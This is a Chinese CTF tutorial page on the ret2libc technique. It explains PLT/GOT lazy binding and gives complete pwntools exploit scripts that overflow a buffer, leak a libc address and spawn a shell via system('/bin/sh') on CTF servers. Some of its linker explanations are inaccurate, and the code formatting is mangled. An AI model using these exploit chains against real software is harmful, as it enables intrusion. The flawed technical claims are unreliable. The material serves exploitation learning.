当前位置: 首页 > news >正文

CTF-PWN: ret2libc

plt表与got表是什么?

PLT

PLT (Procedure Linkage Table) 表在 ELF 文件中的代码段(.text)中,它看起来是这样的:

.plt:0x00400530 <__libc_start_main@plt>:jmp    QWORD PTR [rip + 0x200602] # 0x601608 <__libc_start_main@got.plt>push   0x0jmp    0x4005100x00400540 <puts@plt>:jmp    QWORD PTR [rip + 0x2005f2] # 0x601638 <puts@got.plt>push   0x1jmp    0x4005100x00400550 <printf@plt>:jmp    QWORD PTR [rip + 0x2005e2] # 0x601648 <printf@got.plt>push   0x2jmp    0x400510; ... 其他外部函数的 PLT 条目

从上面的代码可以看到,PLT 表由多个条目组成,每个条目对应一个外部函数。每个条目的结构如下:

  1. jmp 指令:

    • 这条指令用于跳转到 GOT (Global Offset Table) 表中该函数的地址。
    • 它实际上是跳转到 GOT 表中对应函数的条目。
  2. push 指令:

    • 这条指令将一个立即数压入栈中,这个立即数标识了该函数在 PLT 表中的索引。
  3. jmp 指令:

    • 这条指令跳转到 PLT 表的开头,即 0x400510
    • 这里是 PLT 表的一个通用部分,用于处理函数的首次调用。

当程序第一次调用一个外部函数时,会执行 PLT 表中该函数的条目。首先跳转到 GOT 表中该函数的条目,由于这是首次调用,GOT 表中保存的是一个特殊地址,会触发动态链接器的介入。动态链接器会查找该函数的实际地址,并将其写入 GOT 表中。之后,程序就可以直接从 GOT 表中获取该函数的地址,无需再次查找。

GOT

GOT (Global Offset Table) 表在 ELF 文件的数据段(.data)中,它看起来是这样的:

.got.plt:0x00601608 <__libc_start_main@got.plt>:0x00007ffff7a2d830  ; 这里存放了 __libc_start_main 函数的实际地址0x00601618 <__gmon_start__@got.plt>:0x0000000000000000  ; 这里初始值为 0,表示还未解析0x00601628 <__cxa_finalize@got.plt>:0x00007ffff7a12b10  ; 这里存放了 __cxa_finalize 函数的实际地址0x00601638 <puts@got.plt>:0x00007ffff7a68c10  ; 这里存放了 puts 函数的实际地址0x00601648 <printf@got.plt>:0x00007ffff7a57e50  ; 这里存放了 printf 函数的实际地址; ... 其他外部函数的 GOT 条目

从上面的代码可以看到,GOT 表由多个条目组成,每个条目对应一个外部函数。每个条目存放着该函数的实际地址。

当程序第一次调用一个外部函数时,会执行 PLT 表中该函数的条目。PLT 表中的跳转指令会跳转到 GOT 表中该函数的条目。由于这是首次调用,GOT 表中保存的是一个特殊地址,会触发动态链接器的介入。

动态链接器会查找该函数的实际地址,并将其写入 GOT 表中对应的条目。之后,程序就可以直接从 GOT 表中获取该函数的地址,无需再次查找。

需要注意的是,GOT 表中的某些条目可能初始值为 0,表示还未解析。比如 __gmon_start__@got.plt 就是这样的。这些条目可能在程序运行过程中才会被动态链接器填充。

通过理解 GOT 表的结构,我们可以在 pwn 题中利用 GOT 表进行各种漏洞利用技巧,如 GOT 表覆写、GOT 表泄露等。

调用流程

当程序第一次调用一个外部函数时,会触发动态链接器的介入。这个过程主要包括以下步骤:

  1. 程序跳转到 GOT 表:

    • 程序在 PLT 表中查找到对应的外部函数,并跳转到 GOT 表中该函数的条目。
    • 由于这是程序第一次调用该函数,GOT 表中保存的初始值通常为 0 或者一个特殊地址。
  2. 动态链接器被调用:

    • 当 CPU 执行跳转指令时,发现 GOT 表中的值异常,就会触发动态链接器的介入。
  3. 动态链接器查找函数地址:

    • 动态链接器会查找该外部函数的实际地址。它会在程序链接时指定的共享库中搜索该函数。
  4. 动态链接器填充 GOT 表:

    • 动态链接器找到该函数的实际地址后,会将其写入到 GOT 表中对应的条目。
  5. 程序继续执行:

    • 动态链接器完成填充 GOT 表后,程序就可以继续执行,并从 GOT 表中直接获取函数地址,无需再次查找。

一般步骤

  • 1.获取足够的可控溢出区
  • 2.使用函数输出任意函数.got地址,计算出libc基地址,system地址和/bin/sh位置
  • 2.按照题目架构调用约定构造system(‘/bin/sh’)

有效负载示例

x64

puts
from pwn import *
from LibcSearcher import LibcSearchercontext.arch = 'amd64'
context.log_level = 'debug'
pwn = ELF('./pwn')
libc = ELF('./libc')
rop1 = ROP(pwn)ret = rop1.ret
pad = 0x20 + 8
rop1.raw(b'a' * pad)
rop1.call('puts', [pwn.got['puts']])
rop1.call('main')
print(rop1.dump())
poc1 = rop1.chain()io = remote('node5.buuoj.cn', 28739)
io.recvuntil('this time?')
io.sendline(poc1)
io.recvuntil(b'Ok.See you!')
know_addr = packing.u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(know_addr))'''
libc = LibcSearcher("puts", know_addr)
libc_base = know_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump("str_bin_sh")
'''libc_base = know_addr - libc.symbols['puts']  
system_addr = libc_base + libc.symbols['system']  
bin_addr = libc_base + next(libc.search(b'/bin/sh'))  rop2 = ROP(pwn)
rop2.raw(b'a' * pad)
rop2.raw(ret)
rop2.call(system_addr, [bin_addr])
print(rop2.dump())
poc2 = rop2.chain()io.recvuntil('this time?')
io.sendline(poc2)
io.interactive()
write
from pwn import*
from LibcSearcher import*r=remote('node3.buuoj.cn',25003)
elf=ELF('./level3_x64')main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1write_got=elf.got['write']
write_plt=elf.plt['write']payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print hex(write_addr)libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
print hex(offset)system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
r.sendline(payload)
r.interactive()

x86

write
from pwn import *    
from LibcSearcher import LibcSearcher
context.arch = 'i386'  
context.log_level = 'debug'
pwn = ELF('./pwn')  
libc = ELF('./libc')
rop1 = ROP(pwn)  pad = 0x88 + 4  
rop1.raw(b'a' * pad)  
rop1.call('write', [1, pwn.got['write'], 4])  
rop1.call('main')  
print(rop1.dump())  
poc1 = rop1.chain()  io = remote('node5.buuoj.cn', 25129)  
io.sendline(poc1)  
know_addr = packing.u32(io.recv(4))  libc = LibcSearcher("write",know_addr)
libc_base = know_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump("str_bin_sh")'''   
libc_base = know_addr - libc.symbols['write']  
system_addr = libc_base + libc.symbols['system']  
bin_addr = libc_base + next(libc.search(b'/bin/sh'))  
'''rop2 = ROP(pwn)  
rop2.raw(b'a' * pad)  
rop2.call(system_addr,[bin_addr])  
print(rop2.dump())  
poc2 = rop2.chain()  io.sendline(poc2) 
io.interactive()
http://www.lryc.cn/news/494276.html

相关文章:

  • SickOs: 1.1靶场学习小记
  • 【ArcGIS Pro实操第10期】统计某个shp文件中不同区域内的站点数
  • JavaScript中类数组对象及其与数组的关系
  • 基础入门-Web应用架构搭建域名源码站库分离MVC模型解析受限对应路径
  • C#:时间与时间戳的转换
  • QT的exec函数
  • Css—实现3D导航栏
  • 树莓集团:以人工智能为核心,打造数字化生态运营新典范
  • 2024年首届数证杯 初赛wp
  • 2017 NHOI小学(C++)
  • 【一维DP】【三种解法】力扣983. 最低票价
  • 【头歌实训:递归实现斐波那契数列】
  • IntelliJ IDEA配置(mac版本)
  • CSAPP Cache Lab(缓存模拟器)
  • 【机器学习】机器学习的基本分类-监督学习-逻辑回归-对数似然损失函数(Log-Likelihood Loss Function)
  • 51c自动驾驶~合集35
  • 网络安全体系与网络安全模型
  • antd table 自定义表头过滤表格内容
  • Elasticsearch实战:从搜索到数据分析的全面应用指南
  • BEPUphysicsint定点数3D物理引擎介绍
  • 宠物领养平台构建:SpringBoot技术路线图
  • 解决Flink读取kafka主题数据无报错无数据打印的重大发现(问题已解决)
  • python自动化测开面试题汇总(持续更新)
  • 1-1 Gerrit实用指南
  • docker如何安装redis
  • 省级新质生产力数据(蔡湘杰版本)2012-2022年
  • 【游资悟道】-作手新一悟道心法
  • Diffusion中的Unet (DIMP)
  • 编译以前项目更改在x64下面时报错:函数“PVOID GetCurrentFiber(void)”已有主体
  • 【AIGC】大模型面试高频考点-数据清洗篇